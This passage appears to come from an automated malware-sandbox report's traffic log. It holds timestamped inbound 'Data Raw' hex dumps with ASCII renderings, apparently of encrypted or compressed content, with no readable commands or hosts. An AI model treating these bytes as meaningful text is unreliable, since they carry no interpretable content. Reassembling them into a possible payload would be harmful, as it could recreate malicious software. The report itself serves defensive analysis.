52 c1 6d 65 80 ed eb 26 Data Ascii: <{V2h03X]\|#!:VQ17V{!ohCGQXbI-9@b7@T4ok~%BHMEVM]S`sCQj%<JOtwTYU*kK#xca^Euh,vz<J ?9~fBPayIRme&
2021-09-28 07:53:28 UTC	396	IN	Data Raw: eb 69 6f df 56 31 12 30 f4 69 8c f7 88 ff 40 ca 8f 72 73 26 38 07 dc 30 a8 7b ee d0 e0 2f 02 fe 3d 67 d4 ad 54 0d 41 3a 49 0c cb 45 b5 4e 87 4f 20 5d 98 c8 9c 7a 0d 48 a3 89 8b 72 e8 04 ae 27 13 bb 8a 9c 50 75 4e 20 54 5e f7 a9 82 c8 42 c3 3c 3a 0a 8c 18 76 91 84 72 8f cc 4a bd 65 fd 34 8a a1 b0 63 a2 a4 75 90 bf d5 a9 73 1c 28 75 7c ed 05 6a ba 6b 5a ea 5e 05 ad 54 0a c4 5a 09 8f d0 21 7f 8b e4 69 0a b0 72 b1 9c f0 53 5c 21 5a 17 03 07 43 03 91 39 28 b7 7f fa 22 03 e9 2b 31 6c 6e e5 a9 f9 bd 0f 7b 71 33 45 36 1f 7c 90 7d f4 5c 2b b9 e3 d0 ac 01 74 e8 d6 a4 28 67 8d 58 78 b8 49 8f ee 1e 36 94 2d 40 eb b1 e9 73 e0 db 39 a5 85 1a ab 1f 68 5c 0c 92 68 f7 37 12 66 8a 09 4b ef 33 e5 15 e7 a6 93 4a d4 cd bd ed 00 a9 42 d6 e7 ef a2 27 64 30 88 30 fb ab da a1 93 Data Ascii: ioV10i@rs&80{/=gTA:IENO ]zHr'PuN T^B<:vrJe4cus(u\|jkZ^TZ!irS\!ZC9("+1ln{q3E6\|}\+t(gXxI6-@s9h\h7fK3JB'd00
2021-09-28 07:53:28 UTC	400	IN	Data Raw: 47 fb 6f 2c 09 3a dc e2 dd 84 a9 8b 8c 85 c2 80 ac fa 7a 7a 82 7c 0d b5 53 da 4b 3a c2 de 4a 94 58 5b 41 3a ef 2b 87 23 77 b4 b5 12 03 41 29 47 8f a9 75 c6 2c 4f 3b f6 12 65 52 13 dc 91 7e 7a 6c 62 f4 0b c1 ba 0f 37 b8 56 72 55 83 fc 3b 04 d1 73 d0 e0 1a 26 1b 8c 34 c2 af a2 3e 62 1a 21 b5 c9 72 20 d7 f0 4b 3d 3d 55 d0 e3 05 0d ff 95 ee 07 72 16 c3 ea 17 19 42 13 8f 8e 26 38 0c 27 86 45 bc df df 78 4a d4 bc 84 5a 1d 65 96 93 af 9b 8a 4d 7d 44 44 f8 81 b8 c0 52 5d 9f 05 f2 f2 a6 b3 d7 53 24 a4 29 c5 1e c1 75 6f 74 ef f6 5e bc 5c 95 7c 65 8a e4 d9 05 a8 50 47 1c d0 74 ec 03 d8 57 e0 17 92 0a 1b 21 9b 4a 56 f6 40 69 96 63 6a 39 1a 63 e6 30 d0 0c 91 ac 0a 84 0d 6e 50 19 85 70 59 df 02 b6 9b 0d fd 17 e5 cb b2 04 d3 6d 7d b9 11 2b 96 89 eb a1 eb c2 70 85 bc 15 Data Ascii: Go,:zz\|SK:JX[A:+#wA)Gu,O;eR~zlb7VrU;s&4>b!r K==UrB&8'ExJZeM}DDR]S$)uot^\\|ePGtW!JV@icj9c0nPpYm}+p
2021-09-28 07:53:28 UTC	404	IN	Data Raw: a4 03 8d 3c 71 99 1e 04 b7 8b 63 17 ee c1 a2 7d b3 f6 b8 e6 e3 73 5b 8f 3e 88 b5 b2 20 05 77 54 22 02 8a 68 df 95 f8 86 2b e7 53 4d 69 5f f9 c3 5c 2a 15 64 e4 50 81 51 1e 1e 1d 4e 1e 55 e1 53 36 18 6b 7a d0 2d ef 47 68 c5 7e fe 71 32 a6 cc 86 53 02 f9 aa 87 60 a0 fa dc 2b 98 7b b2 f7 92 68 f0 4a f5 fa 37 ce b1 ef 0b 99 1d a0 20 37 52 93 cc e4 0a 43 a5 6c d1 82 c2 60 c9 fb 37 80 9b 46 a0 8d 87 f1 9c e9 14 8a b8 cc 53 7b b7 72 b2 5b 4f 66 46 6e 9a 44 d5 b9 72 44 3c 25 d6 38 a8 62 69 ae c2 3e 4f 9f b2 2e 4d cc 97 e5 15 0b 7d 93 f9 af ad 90 65 c4 27 79 49 6e be 59 85 ad 65 1d 7c 03 77 bb 3d 52 d8 1f 56 8c 45 9a 78 11 0b 51 9e 07 1e b1 0d c6 0b a7 82 21 13 45 14 50 e3 a2 e3 92 ef 44 ae 1a 57 07 da a9 6b cd 19 6d d2 93 66 d5 d9 df 8a 45 ba b8 29 d6 65 d4 d2 43 Data Ascii: <qc}s[> wT"h+SMi_\*dPQNUS6kz-Gh~q2S`+{hJ7 7RCl`7FS{r[OfFnDrD<%8bi>O.M}e'yInYe\|w=RVExQ!EPDWkmfE)eC
2021-09-28 07:53:28 UTC	408	IN	Data Raw: b7 0a fd 02 79 54 82 c7 24 56 cf 44 bc b0 67 b0 13 f3 58 1a 3b 36 9b b7 99 21 20 da 74 87 33 36 77 2f 64 d4 40 c2 de de 45 e9 c4 ea 78 6a 03 15 b6 6d 16 44 74 1b b2 73 9c 93 79 6a 9f 50 30 19 f4 6e d7 ad 86 3e 82 38 53 f5 9e 26 8c 73 8b c8 05 ce 2e cd e4 b2 ba 67 b1 30 07 f5 41 5d e3 ac 6a 3a a1 ce 51 71 b4 1d 1f 3f ed c3 cc 20 11 42 06 a5 97 78 72 50 c3 4c 88 be 0b 8e f3 d5 95 21 b5 0b 5a ac 29 4a d6 c4 18 25 fd 3c fb cf 7d 1a 4e b0 f6 39 33 b2 b6 b3 c9 33 71 7b 97 29 1a bb 26 94 12 59 d6 90 08 1a 42 e9 0d f8 af d6 7b b2 65 a9 13 fa 3c 3e d0 3e e4 16 52 c7 16 e1 84 63 f5 78 1e 72 e0 59 7a 9e b6 62 b6 f0 68 8d 49 6a e7 78 b7 b1 32 45 17 3d 5a a5 ed 43 40 6c eb ed ae aa 51 36 fc 86 07 dc a9 cd b7 1c 3b 49 14 71 cc 6d b0 1a 22 10 16 75 6c d1 cd 39 a7 c0 14 Data Ascii: yT$VDgX;6! t36w/d@ExjmDtsyjP0n>8S&s.g0A]j:Qq? BxrPL!Z)J%<}N933q{)&YB{e<>>RcxrYzbhIjx2E=ZC@lQ6;Iqm"ul9
2021-09-28 07:53:28 UTC	412	IN	Data Raw: 0f 2a 5e ef 17 16 31 f4 43 0f b7 ab b9 b6 40 74 a0 9a 52 cf 58 fc 42 65 e8 93 6f 4d 3f 13 dd 13 4a ca 01 99 89 21 10 6f 74 3e 62 80 2f 9c 81 db 10 c8 7d 77 06 53 28 f9 95 89 d6 a1 a5 9d 37 57 62 b5 4e fb 67 85 24 14 83 dc 92 c4 5d e7 0c 96 36 74 3e 50 5b 79 2d 90 bb 5e bf fe ff 10 3f 44 8d de da b2 cd 8c 9a 47 48 3c b4 c2 64 5d 5b c7 c7 cd 82 2f ff 87 10 e2 c1 82 5b 92 11 44 1e f7 c7 8f a2 10 a1 66 b6 33 49 22 e7 b9 c7 ab aa e8 84 28 f1 23 08 df c6 53 f5 ff e3 2b 44 3b af 0a 03 f4 56 29 22 2b 0f f0 3b b3 00 83 b3 5c 4d e2 66 97 d6 0f 35 48 6b 40 08 31 24 19 c2 22 2e 09 00 95 b3 0e 4c 8a cc 8c 81 df 26 a1 78 e9 d5 fe d9 78 94 7b 90 44 03 80 70 3e 3d 03 0c bf cc 43 e2 08 71 6b 10 c9 5b b1 c8 a1 54 34 a5 20 84 a8 12 ec f4 c5 01 f0 26 ad d9 ea 1f d7 5b 1f 23 Data Ascii: *^1C@tRXBeoM?J!ot>b/}wS(7WbNg$]6t>P[y-^?DGH<d][/[Df3I"(#S+D;V)"+;\Mf5Hk@1$".L&xx{Dp>=Cqk[T4 &[#
2021-09-28 07:53:28 UTC	416	IN	Data Raw: 3b 89 87 88 c4 a5 18 97 e5 b6 be 5e b8 f1 56 21 d6 82 24 d6 c7 da ed 2e 55 d9 2c 55 57 04 c9 40 1a 74 d2 31 19 aa a3 a0 3b c2 8e 04 67 1d 4c 44 a5 8e 22 e4 a6 4c 74 fd 1d 8e 44 60 16 da 97 4e 49 bc a6 90 90 ad f6 27 e3 3d fe 6d 6a 19 2d 15 7b 76 b6 31 0f bd cf 1b 13 2e cd 75 c9 c9 5c 4a 3d 9c 0e 11 22 02 60 38 35 b7 13 fe f7 67 f7 67 3b d8 84 58 ca 11 7b b9 09 d7 44 f0 f5 26 af 53 1b 4f cf 8d 42 f7 23 2d ce 34 85 7e 74 16 90 24 4d d7 56 ee 8f 57 ff 0a 51 d9 8d 0f ed ce c1 4c 15 2b 21 3a 09 f2 b8 fd 5c 47 8f 89 10 cc fe 0f 03 1d e8 49 fc c4 e4 42 ed de c4 78 4e 94 83 30 97 16 1a d2 6e 80 38 bb b5 56 7c ae 13 e8 f9 1e 3c 89 60 1d 38 ca e8 7f 1b 9a 2b 71 f6 68 53 17 d9 72 a3 c0 a8 ff 19 b2 9f 8b a4 3d 39 c0 e1 0c 07 a3 fc 84 d5 fa 1a 87 16 c0 b2 6b d2 85 ac Data Ascii: ;^V!$.U,UW@t1;gLD"LtD`NI'=mj-{v1.u\J="`85gg;X{D&SOB#-4~t$MVWQL+!:\GIBxN0n8V\|<`8+qhSr=9k
2021-09-28 07:53:28 UTC	420	IN	Data Raw: 81 cc 9b 12 50 c4 46 36 82 a8 2f 75 b6 1a 4b 55 be ef cd 97 f1 78 2d 2c 03 1a de 36 cc e8 2d 70 b3 c1 62 c3 43 7b 52 42 c3 01 0d 31 b2 87 94 69 ac 67 aa c7 8c 2f 41 77 72 fd f8 f6 91 58 32 8e 4f b6 f9 1a 9a c4 d9 19 4f 8d a1 31 ec b3 5f 2c a4 66 17 24 01 87 57 92 3c 1d 13 a9 9f 0c e0 ab 37 67 25 12 b6 b2 8a 32 78 a9 2f cc eb 7d 78 54 eb ce 5e d5 43 39 6b 0a b7 a6 0a aa e0 77 06 01 41 88 14 d3 8c 5c 79 f1 ec f3 ed 9e 30 34 1d 49 c7 06 6e fb 85 55 00 1f 07 7e 50 03 cc 9b eb 0f 1f 77 92 31 d1 af 1f 63 13 81 fa 61 1f 8f c3 0f 8c 8f 72 4f 61 9c 8d c7 ba e1 77 b1 3c 8c 60 af ed 3e e5 81 9c 7f 12 e4 a5 3e 4f 7c d7 1b 49 81 e3 89 bd 92 90 3b 16 87 35 2b c9 ce 43 79 39 08 c1 1b a0 6c 36 51 a4 a2 0d 9b 76 8c e7 83 df a1 cd 1d 39 ec 38 45 d6 0c bb 15 cb 91 fb d4 80 Data Ascii: PF6/uKUx-,6-pbC{RB1ig/AwrX2OO1_,f$W<7g%2x/}xT^C9kwA\y04InU~Pw1carOaw<`>>O\|I;5+Cy9l6Qv98E
2021-09-28 07:53:28 UTC	432	IN	Data Raw: 17 d8 8b 9d cc ea 6e 04 18 02 b1 72 98 1d 9a c5 98 b1 33 1e 94 b2 e4 a9 7d ac d3 3d 3e b0 d9 b3 93 79 df ec 95 b6 f6 ff 38 4e e8 1a 26 5f 09 33 31 93 f2 13 5f 4c 2c b1 e0 c0 6f 49 4c c0 7b 5c 9b ee cf 03 cc 86 a0 4d a7 3e e4 6b 6e 21 d8 53 c4 65 be aa f0 ad 69 85 08 98 c3 52 34 d8 83 fa 31 8b 36 a7 34 8b 28 0d ec d2 a4 98 f5 02 90 14 14 2c 82 4e 02 20 60 b5 ae 2e 7c 16 5a 31 c6 03 62 78 6b 16 03 23 dd ce 8f a3 b0 f3 6d a9 7b e6 1b 18 e2 cf fe c0 fb 43 cd e5 a7 31 5f 30 7d 7a 8e 86 63 b9 7f 04 bc 19 fa 42 9e 7b 11 90 05 5e cf b1 ec d5 6e 19 7a 9c 40 67 87 fe 40 e4 a7 1a 96 7c 86 7f 9b e5 0e cd 3a 70 09 11 3a 81 cd cc 6f bb a7 c4 f1 b2 5e af 77 39 7b 32 70 d7 1a f5 a3 85 a2 25 86 84 bf 4a c5 d5 9a 86 2f 4b 06 f0 b5 40 c0 83 42 21 b7 2a 83 a9 3c a8 10 19 27 Data Ascii: nr3}=>y8N&_31_L,oIL{\M>kn!SeiR4164(,N `.\|Z1bxk#m{C1_0}zcB{^nz@g@\|:p:o^w9{2p%J/K@B!*<'
2021-09-28 07:53:28 UTC	436	IN	Data Raw: e4 1d 5d c7 a3 a8 b7 bf 70 c3 e3 7e e4 e1 1c 28 c9 59 c4 7f c3 35 2f 76 04 d0 84 99 a3 2e 89 4d 64 57 52 63 a1 0c e0 e6 cf 4e e0 d7 9a e8 89 8e 66 da 6d 86 a8 d2 ce bb b5 18 ba 04 70 87 88 21 cb d4 b4 94 66 1c 2e 7d 29 8b 83 a1 4a ff 1a bb df 50 13 1d 70 5e b4 25 ed 48 b2 48 0e fa 6a 25 5d f2 8e 75 74 10 9d 45 a4 6d 70 79 3c 5a 22 4d 52 66 f9 e2 ce f8 9f c0 29 c9 30 63 87 ef 2a 0b e9 82 0e 8b 22 58 47 02 2e 46 46 67 57 67 9f 84 33 74 a7 fd 1e 90 b1 0b a1 3f 9f 92 81 96 58 12 bb 13 d4 e5 58 0c 4e 17 cf ec 65 5e 08 2a f6 88 29 1a 38 16 00 eb f4 61 ba d3 a3 80 06 2b 24 92 d4 6d ef 7e 04 15 ca 09 77 24 ed 67 d1 cc ee fc 26 17 c5 1c 2f 49 8a 10 0b 17 2d d8 b0 ce 66 a5 a2 6f ef 8c 9e b7 c1 88 46 76 41 b1 32 37 64 fb 9f 9b 70 2f b4 8e 68 de f1 cb 30 48 a1 06 f7 Data Ascii: ]p~(Y5/v.MdWRcNfmp!f.})JPp^%HHj%]utEmpy<Z"MRf)0c"XG.FFgWg3t?XXNe^)8a+$m~w$g&/I-foFvA27dp/h0H
2021-09-28 07:53:28 UTC	440	IN	Data Raw: 82 dd 58 49 9b db 86 56 26 fc 9d 8a 8b 14 ba 2f e5 b7 49 db f1 b6 89 8a c7 e9 55 73 0f 86 b5 10 03 15 de 8c d7 c0 53 c5 09 7f 05 89 9b 03 5a 08 e8 20 42 6a ea e3 e1 c4 d8 8e d5 81 09 7e 36 f8 93 d2 8f 3f 8d ce fe 31 2a 35 be 2b e4 21 a9 7a af 58 b9 24 af 2c 3d 1a fa 36 be 55 87 7c 64 4e ba 76 21 0f 3e 5c 38 fd ec 42 8f 9f c0 9f 19 af 77 93 66 fe 21 cd 36 48 6b 73 4f e1 39 58 e3 09 5a 94 cd 33 aa 30 64 f4 61 b6 00 88 b3 ce 60 3b 84 ef b8 4a 67 16 af 7a c2 18 bc b4 a6 cf 60 a2 74 22 c5 d0 6a 8d df fd 10 41 dc d1 6e 92 3a 37 1e d6 f8 da a7 b2 a0 08 fc 9c 5f b7 0a 00 42 9b e5 29 71 35 cf 55 ce ee 5d e9 b4 43 30 ce c0 95 88 e5 c0 21 2d ef 0b cd f3 44 c7 2a 5e 49 69 fb 9b 64 44 dc 6e b4 b4 4a 69 fe 64 f3 9b 17 6b 86 7b a2 e0 9a ee f6 05 3d 64 27 29 b7 64 d5 e1 Data Ascii: XIV&/IUsSZ Bj~6?15+!zX$,=6U\|dNv!>\8Bwf!6HksO9XZ30da`;Jgz`t"jAn:7_B)q5U]C0!-D^IidDnJidk{=d')d
2021-09-28 07:53:28 UTC	444	IN	Data Raw: 78 0c f6 49 5a cb 4e 86 24 fa af 67 86 3c 45 00 dc 44 4b 09 1f 57 7d d8 58 99 6a c3 18 82 99 24 0c ca 9a 39 64 cf 1c b3 33 79 4f 64 1d 04 5c 2a af 3c 68 3f 92 b6 b0 2b ee ce 05 53 21 04 04 68 ba 10 0e 8c 5d 15 1a a6 bd b5 7a f7 9d 4a ec b4 21 e3 65 a6 d5 ff 7b c9 22 93 43 19 9b 09 20 ac f7 f9 30 0c 61 8b b4 0b b1 09 f5 55 95 89 ac d6 ea cd a3 fa 68 70 b4 70 72 02 4a 1f 01 5f ea 78 55 27 d0 93 2b 37 fe 4f 37 3f 39 b8 40 e4 0f d1 ff 09 42 f3 6f 57 37 d6 a2 74 f4 d3 84 65 1d da c3 40 77 53 85 da 9d be dc 0b d2 47 0d 51 82 b4 0c 5c ee 7c bb d8 06 01 ed 14 e8 c2 1e 4b 64 16 e5 b0 76 07 49 cb 31 83 88 cb 69 62 96 73 b9 ae 3e 11 b1 82 86 b6 ed 16 a5 d6 1e 28 7f 7e 69 ca 4d b1 32 bc 5b d1 a3 54 94 e8 8b 0c c9 7c d9 d4 59 8e 85 a1 f4 ea 96 74 d3 4f 7c b8 d5 2e a7 Data Ascii: xIZN$g<EDKW}Xj$9d3yOd\*<h?+S!h]zJ!e{"C 0aUhpprJ_xU'+7O7?9@BoW7te@wSGQ\\|KdvI1ibs>(~iM2[T\|YtO\|.
2021-09-28 07:53:28 UTC	448	IN	Data Raw: ff 2d 08 4f c7 96 66 20 0e 5d be d2 43 71 c4 15 c7 0b 3c 38 64 4c b3 09 f9 1e 83 21 8f 9c 23 14 3b b9 45 0f 0c 3a c2 9f 83 e6 bf a6 85 9a 14 aa 7b 92 c5 b4 ad dd 67 89 fa db ec 69 14 24 fc 19 fb 30 1d f7 6d 72 95 f7 8f ad 94 be 2e 4c 03 f7 08 85 3a 50 7e 91 d1 ab 19 40 2b 19 d0 46 dd 35 f1 ee 2c 85 db 7a f7 48 73 85 d1 2a 77 a9 58 c5 0d 8a 74 d9 63 53 e8 3f d2 08 68 22 9d 6f 65 f2 0e 52 88 15 87 58 0c 21 a7 f0 4d 82 3c 2e 72 78 84 52 22 8c 5c ae ab 28 1a 4c 41 ed c8 c6 63 34 e3 a4 b9 9a 54 b8 de 3d 4a d6 8b c0 df 9a 34 2e cf 27 ab 21 82 84 c2 42 99 16 ec a2 6f cd ff b2 e1 ce 6e 46 16 4f ec 1e 0f 70 c0 30 f1 85 33 2f c6 f3 e1 6d d9 5a 39 e0 94 c8 ce 56 57 1d 79 f5 52 91 51 94 d5 f9 59 4a 7f d3 a5 91 7a 88 4f a5 42 8e 7f 70 be 3c e3 e7 45 64 94 55 e4 e6 11 Data Ascii: -Of ]Cq<8dL!#;E:{gi$0mr.L:P~@+F5,zHs*wXtcS?h"oeRX!M<.rxR"\(LAc4T=J4.'!BonFOp03/mZ9VWyRQYJzOBp<EdU
2021-09-28 07:53:28 UTC	452	IN	Data Raw: 10 c8 f5 c3 5a 84 b0 be 16 93 4b e8 79 60 b9 30 ae 15 1e e4 3f 70 4b 20 57 50 04 97 38 a6 9d 8b ef 0f be 7b d9 2f 3c 93 69 88 8f bb dd aa e5 28 c6 00 0b 12 ce 0c 40 04 15 32 ae be d0 5c f0 26 ad ae 7f b3 13 73 8f 26 d8 32 15 38 78 4d 02 38 35 05 c2 18 95 e9 09 5c 08 80 a9 5f f2 4f b3 8c 09 00 b4 65 e4 c7 87 78 45 fd a8 ec 97 14 a7 e2 6d ba b1 4b 94 98 ec a7 9d e4 d4 b3 d5 ac af 37 29 39 1f 68 5b 1b cb 08 53 86 3c e6 7e 77 30 dd 9b 9c f7 18 c9 51 3f 3d 65 5b c3 8d f0 b5 e3 e2 e7 c9 db 42 19 71 39 8a 70 84 d9 85 1a c2 bf f9 65 36 6f 4c e9 d3 05 12 0a 44 47 68 6b 40 b4 ba d4 0a 2e 3d fb aa 46 de 38 4e e5 47 5f 9b e5 aa d9 56 98 53 4a aa 13 77 1f 2e c9 da 16 fb 25 53 ac 81 8d 4b 13 52 5e d1 56 7d 2d 02 cc d0 75 13 fb 28 28 37 3a cb 6f 83 5b 7a 3f 28 65 da 7c Data Ascii: ZKy`0?pK WP8{/<i(@2\&s&28xM85\_OexEmK7)9h[S<~w0Q?=e[Bq9pe6oLDGhk@.=F8NG_VSJw.%SKR^V}-u((7:o[z?(e\|
2021-09-28 07:53:28 UTC	456	IN	Data Raw: d8 87 27 a5 16 50 71 28 c4 c3 e8 a5 37 c3 45 17 d9 34 34 28 99 13 b8 d5 45 c1 eb 96 2f 2d f9 c5 54 d5 c5 b3 d6 8f a2 98 25 99 ef 10 58 a9 4c 6e b6 f6 56 10 57 0c 64 ec 03 d9 02 08 43 f3 49 e6 c2 f6 e3 f5 cf 57 6d 3d cb 11 f1 54 4d 2d be 11 a0 12 86 e0 5b 1f 9e 87 18 4e 91 b5 38 43 13 63 e1 1b 9f 77 4a 15 0c c6 58 0a 81 38 26 ae 19 20 e0 34 ee 13 33 11 7b 7a 26 c4 4c f7 77 b9 6a d2 e1 06 81 20 d4 f3 97 2c d1 31 55 17 6d 03 2e d0 17 a3 b9 53 ec 68 d1 fa f6 2b 3c a7 27 88 92 67 8d 65 fc 2a 06 fc 78 14 b3 bb a3 66 53 ae a1 fb 98 3c 6f 8e c1 c0 b0 c0 66 4f ff 1e e6 a1 e8 bd e6 9c 39 55 50 32 6c 7f 55 8f c8 13 7a f5 f1 fc 42 1b 66 ae c8 12 33 68 8b db 35 59 ab 78 3b d0 af 61 1a 36 f5 03 e6 5f 66 56 06 0b 2a cd b1 7b 88 2f 56 90 29 f6 ef 73 b4 43 51 dc 51 e9 94 Data Ascii: 'Pq(7E44(E/-T%XLnVWdCIWm=TM-[N8CcwJX8& 43{z&Lwj ,1Um.Sh+<'gexfS<ofO9UP2lUzBf3h5Yx;a6_fV{/V)sCQQ
2021-09-28 07:53:28 UTC	460	IN	Data Raw: 0d 04 89 52 f7 b3 25 ce a6 16 1d 1f 9f 3f 98 73 7e 7e 90 2a 52 1f 07 6c b0 c5 b8 54 f6 fe 79 cb 6f 1a e6 a8 ca fe 08 04 9a ae b7 a5 e0 ad d3 54 18 01 08 5e f8 1e 60 85 76 9b 65 1b 9d 73 d0 e7 14 d0 08 e1 fb 75 95 0d f5 90 73 c5 a5 bd bd a4 4a 7a 46 76 cc f3 2a b0 b2 34 00 db e5 3e 32 ac 3c 8c 2a 64 f8 c7 73 ed 4f cc c1 a7 ec 82 59 06 1e 06 94 77 d3 c9 36 1e 04 95 b7 99 53 f0 28 4d c9 4f 48 66 50 6c 34 a6 60 50 32 ce 09 ec 32 db 09 71 df 5b 98 5c 76 ad 36 2d d8 cd 5a fb 37 88 d5 30 e4 31 43 db 29 91 dc 03 eb 96 69 7d 15 06 eb 55 a3 06 09 8b 8d 5e 24 a2 80 1b 37 e1 0d 18 25 2b 28 c4 eb 2f 15 0c 5f 67 e0 e2 4e 76 41 b6 51 d8 cc a3 92 b1 64 90 90 91 43 5a 2e 56 b6 94 9e c5 33 b5 68 36 a0 5b 16 0d b8 e5 a3 98 c2 fe ea f0 68 34 29 4c d6 68 a7 6b a0 06 2d 72 29 Data Ascii: R%?s~~RlTyoT^`vesusJzFv4>2<*dsOYw6S(MOHfPl4`P22q[\v6-Z701C)i}U^$7%+(/_gNvAQdCZ.V3h6[h4)Lhk-r)
2021-09-28 07:53:28 UTC	464	IN	Data Raw: cd a8 a4 66 92 13 fe 13 05 f1 53 06 a4 07 e3 7c 10 e6 60 d2 07 45 9a b9 26 35 0d 53 e0 77 db eb 6d ff 5b 6a f7 eb 33 6b ee db 6b aa aa 42 4a 9e ec d7 33 40 0d e2 2b 98 9c 95 97 1c a1 28 3c c0 04 be fc 2c f4 03 47 32 e2 79 a9 5c 71 83 25 99 6b 5e d9 1d 65 94 b3 c1 43 47 5d 39 95 4d fd e3 2f 4a 4f 89 0a 68 5a 77 c9 d3 34 a0 a7 7a d8 d7 65 e9 3d 5d 0f 08 58 86 2d 08 40 51 19 cb 57 8b b8 f2 bc 5d cb a9 71 75 d8 8f 61 41 1a 99 58 b7 09 70 62 d4 e5 d9 7f 3d ca ce 1e c6 09 f9 25 f7 c2 6b 6a b8 b7 dd b3 78 46 fa 39 d6 5d 5c 80 16 9d e1 04 5f 20 c7 36 b3 2a 91 ab ae 10 20 26 36 88 cc 02 e1 a9 9b cb cf a5 76 64 23 f0 51 35 ea 5a 53 25 bc 69 fc 3f 3d 04 4f da 9a 26 f6 f3 91 81 22 da 07 03 c0 f1 1e cb 27 cc 65 1a 6a 02 04 42 43 89 f9 c5 16 f1 71 1f 03 52 6f db 76 27 Data Ascii: fS\|`E&5Swm[j3kkBJ3@+(<,G2y\q%k^eCG]9M/JOhZw4ze=]X-@QW]quaAXpb=%kjxF9]\_ 6* &6vd#Q5ZS%i?=O&"'ejBCqRov'
2021-09-28 07:53:28 UTC	468	IN	Data Raw: 2a 88 89 a8 98 76 f5 9b b4 c9 35 7b c5 2d f9 b4 aa 1b a9 e7 2c da 3c c6 56 95 bf 76 d8 de 35 41 f4 9f 76 31 a9 97 ea 00 da 12 5d 41 96 f1 9a 90 94 48 58 8a 28 3a 5f 8f 7a a1 64 4f e2 14 82 ec 88 c1 32 3c 1a 42 47 f5 68 77 4c 48 12 a7 35 7a 26 e3 f2 8f 29 15 75 b5 23 62 a8 b4 44 07 fb 5c 22 85 60 9e 27 9b 2c a7 71 43 2d db 16 65 85 ad 37 21 c0 01 26 84 e2 3f de 78 c4 81 7b 6a 85 97 28 e5 ba 33 81 25 40 8f ae ac ca 4d eb 94 6f 7c ea 23 f1 13 46 12 33 ac a7 60 9c b5 09 55 99 8f 99 a3 5a 1a 6a cf 15 13 40 d2 35 d3 c1 47 d9 41 b4 f6 62 68 f3 88 5e b0 b1 c7 54 18 5b 07 66 91 2d 6b e4 85 c8 3c 4e 8a 49 b7 51 4f 27 2f 61 36 83 eb a0 b4 99 46 2d 6d 16 7d 84 68 5b df ba dc a6 7e 2f d3 e2 b6 64 e4 8f cc 24 ca 04 fd 92 1d d3 be 5d c0 4c 10 06 2d 91 52 1e 43 50 fd f7 Data Ascii: *v5{-,<Vv5Av1]AHX(:_zdO2<BGhwLH5z&)u#bD\"`',qC-e7!&?x{j(3%@Mo\|#F3`UZj@5GAbh^T[f-k<NIQO'/a6F-m}h[~/d$]L-RCP
2021-09-28 07:53:28 UTC	472	IN	Data Raw: ac 8d 7c 09 a2 1f bb 39 e3 7f c2 c0 f1 19 9c 2c 09 51 37 14 70 18 f0 7b 95 d2 2e 7b 1c d2 86 db 0e 79 41 e8 0d b4 4f 7a 4a 78 52 83 1a fc b9 73 52 c1 ba 88 14 de e5 10 4f c4 c1 63 c5 7a 02 b2 e9 30 ae a9 fa 87 de 42 54 40 03 a0 32 d5 c2 59 d1 4e 9a 48 6c 90 75 e6 f6 80 c5 35 e6 7f a8 f7 18 43 a6 97 38 92 66 13 af c6 d9 a7 4e 00 7c 3b bd 32 87 05 bc e4 a5 fa b4 5f d9 79 26 ee b1 25 14 12 9e aa ae b6 1b 11 21 c4 30 66 87 ad dc fd 44 9c 6e 11 83 aa 72 a2 1f d1 57 1a a1 c4 69 7a 34 50 53 41 fb 7a 28 8f 11 04 33 b8 59 5e 24 87 07 8a d2 58 5a 64 b7 3a 15 5a ba f6 d0 2b 5a 52 24 d1 db ec 1f 4e 53 76 54 13 b4 be 98 4b 14 1e 15 67 41 29 b2 64 be 86 19 03 4d fe 8f 63 4d e4 4d a6 90 af 44 18 e4 cb 1d a7 7e 86 6b 8c d1 87 a5 12 47 c2 8e a1 6f 6d eb 00 1e 34 bb cb fb Data Ascii: \|9,Q7p{.{yAOzJxRsROcz0BT@2YNHlu5C8fN\|;2_y&%!0fDnrWiz4PSAz(3Y^$XZd:Z+ZR$NSvTKgA)dMcMMD~kGom4
2021-09-28 07:53:28 UTC	476	IN	Data Raw: 8b 0b 2f 47 5b 50 cd 14 7a ee e6 ab e0 24 7f c6 f8 79 72 81 17 47 72 3e 24 41 b3 10 eb 0d bc 1b ba 44 c7 ea 81 bb 1e e6 cc ac 70 14 e2 b6 2b 0f 2f 72 d4 38 ff 4b 2b df 3e a9 5d 45 d0 49 5c 80 c7 e6 94 03 b8 3c 2d 2c 91 26 c1 64 83 f7 04 27 92 ad 8d 35 7f 75 0c 4c 0b 82 37 8c 81 d3 31 78 63 64 34 a1 a5 0b 69 ab 90 1e 18 ee f3 29 9b 57 37 41 06 f0 e7 7c 21 cf b7 33 4f 99 0b f0 ee dc 34 26 b9 11 c6 ae 23 2c b3 80 41 59 80 0b 8a 0b fa 8e 9f 20 50 79 18 52 17 5c c2 08 50 01 2c bc 8e cb e7 f8 8b 27 18 3b 15 98 f2 2f 32 18 1d a6 b2 c0 35 12 6d c1 8d 81 1a 67 92 53 d8 01 42 27 5c ea 0e f7 9d 8c be 5a 72 04 35 d4 9e c4 6b b4 5e de b9 93 e4 19 ed e7 99 9e d0 94 c9 b9 1b 38 5a 8b c3 a9 68 a3 cb e3 3d fa 39 72 c1 7a 68 81 e7 a1 87 cc 2f 62 1f 65 ed 02 b0 32 ca 85 97 Data Ascii: /G[Pz$yrGr>$ADp+/r8K+>]EI\<-,&d'5uL71xcd4i)W7A\|!3O4&#,AY PyR\P,';/25mgSB'\Zr5k^8Zh=9rzh/be2
2021-09-28 07:53:28 UTC	480	IN	Data Raw: 59 e9 79 95 03 20 ff 09 5c 9f 51 d7 b2 8b 44 e8 de 90 e1 b9 79 57 97 3d 09 55 23 cb a6 34 8c 37 50 f9 ce 03 48 ce d2 f0 1c fc d1 80 4d f9 2b 36 9c 46 c2 92 1d d5 08 c1 f3 cd 34 20 c0 9a cb 10 0f 5e 70 24 51 0b 05 98 82 d4 b3 ac 98 04 37 ae c8 77 d6 55 c6 4e 9c 31 4f a4 4f 2e 7b 5f 1e a3 ea cf e9 eb 6a c9 ca 8f 41 13 d7 d6 aa c8 22 af a2 2e 90 ca 59 cc e9 07 cb 57 73 33 22 96 da 63 6a 3c 4d 54 ea 8d 87 73 70 94 ff c1 ad 17 b8 d7 ee 5a 3d 65 c6 3c 46 b6 84 35 61 4e 0c 0a 19 ab 2b ba fa ae 4a 68 7f db ea f7 5e ac 75 c6 80 2a a8 aa 70 98 f5 f1 9a f1 d7 85 63 a2 6c c6 46 b8 6c 2f 7b ba 96 58 6e 26 49 23 16 05 39 a6 74 af ef bf 